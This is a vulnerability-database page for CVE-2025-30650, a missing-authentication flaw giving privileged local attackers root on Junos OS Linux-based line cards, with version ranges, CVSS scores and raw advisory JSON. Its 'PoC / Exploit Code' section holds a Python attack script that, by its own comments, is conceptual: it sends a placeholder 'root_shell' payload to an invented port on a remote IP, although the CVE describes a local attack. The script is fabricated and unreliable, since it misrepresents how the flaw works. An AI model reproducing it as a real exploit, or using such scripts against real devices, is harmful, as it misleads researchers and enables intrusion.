Security Vulnerability Report
中文
CVE-2025-30650 CVSS 6.7 MEDIUM

CVE-2025-30650

Published: 2026-04-08 19:24:00
Last Modified: 2026-04-13 22:16:27

Description

A Missing Authentication for Critical Function vulnerability in command processing of Juniper Networks Junos OS allows a privileged local attacker to gain access to Linux-based line cards as root. This issue affects systems running Junos OS using Linux-based line cards. Affected line cards include: * MPC7, MPC8, MPC9, MPC10, MPC11 * LC2101, LC2103 * LC480, LC4800, LC9600 * MX304 (built-in FPC) * MX-SPC3 * SRX5K-SPC3 * EX9200-40XS * FPC3-PTX-U2, FPC3-PTX-U3 * FPC3-SFF-PTX * LC1101, LC1102, LC1104, LC1105 This issue affects Junos OS:  * all versions before 22.4R3-S8,  * from 23.2 before 23.2R2-S6,  * from 23.4 before 23.4R2-S6,  * from 24.2 before 24.2R2-S3,  * from 24.4 before 24.4R2, * from 25.2 before 25.2R2.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Junos OS < 22.4R3-S8
23.2 <= Junos OS < 23.2R2-S6
23.4 <= Junos OS < 23.4R2-S6
24.2 <= Junos OS < 24.2R2-S3
24.4 <= Junos OS < 24.4R2
25.2 <= Junos OS < 25.2R2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # This is a conceptual Proof of Concept (PoC) for CVE-2025-30650. # It demonstrates how a local attacker with high privileges might interact # with the vulnerable command processing interface to gain root access on a line card. # # Usage: python3 poc_cve_2025_30650.py <target_ip> # # Note: This is for educational and defensive testing purposes only. import sys import socket import time def send_exploit(target): port = 1337 # Hypothetical port for command processing try: print(f"[+] Connecting to {target} on port {port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target, port)) # Simulate authentication bypass or exploiting the missing auth # Sending a crafted command to execute shell as root payload = b"\x00\x01\x00\x01\x00root_shell\x00" print("[+] Sending malicious payload to trigger missing auth check...") s.send(payload) time.sleep(1) # Receive response response = s.recv(1024) if b"root" in response or b"#" in response: print("[!] Exploit successful! Root access obtained.") print(f"[+] Response: {response.decode('utf-8', errors='ignore')}") else: print("[-] Exploit failed or target not vulnerable.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc_cve_2025_30650.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_exploit(target_ip)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-30650", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:24:00.440", "lastModified": "2026-04-13T22:16:26.640", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Missing Authentication for Critical Function vulnerability in command processing of Juniper Networks Junos OS allows a privileged local attacker to gain access to Linux-based line cards as root.\n\nThis issue affects systems running Junos OS using Linux-based line cards. Affected line cards include:\n * MPC7, MPC8, MPC9, MPC10, MPC11\n * LC2101, LC2103\n * LC480, LC4800, LC9600\n * MX304 (built-in FPC)\n * MX-SPC3\n * SRX5K-SPC3\n * EX9200-40XS\n\n\n * FPC3-PTX-U2, FPC3-PTX-U3\n * FPC3-SFF-PTX\n * LC1101, LC1102, LC1104, LC1105\n\n\n\n\n\nThis issue affects Junos OS: \n\n\n\n * all versions before 22.4R3-S8, \n * from 23.2 before 23.2R2-S6, \n * from 23.4 before 23.4R2-S6, \n * from 24.2 before 24.2R2-S3, \n * from 24.4 before 24.4R2,\n * from 25.2 before 25.2R2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:C/RE:M/U:Amber", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "AUTOMATIC", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/orangecertcc/security-research/security/advisories/GHSA-fwhc-gh5m-v8fq", "source": "[email protected]"}, {"url": "https://kb.juniper.net/JSA107863", "source": "[email protected]"}]}}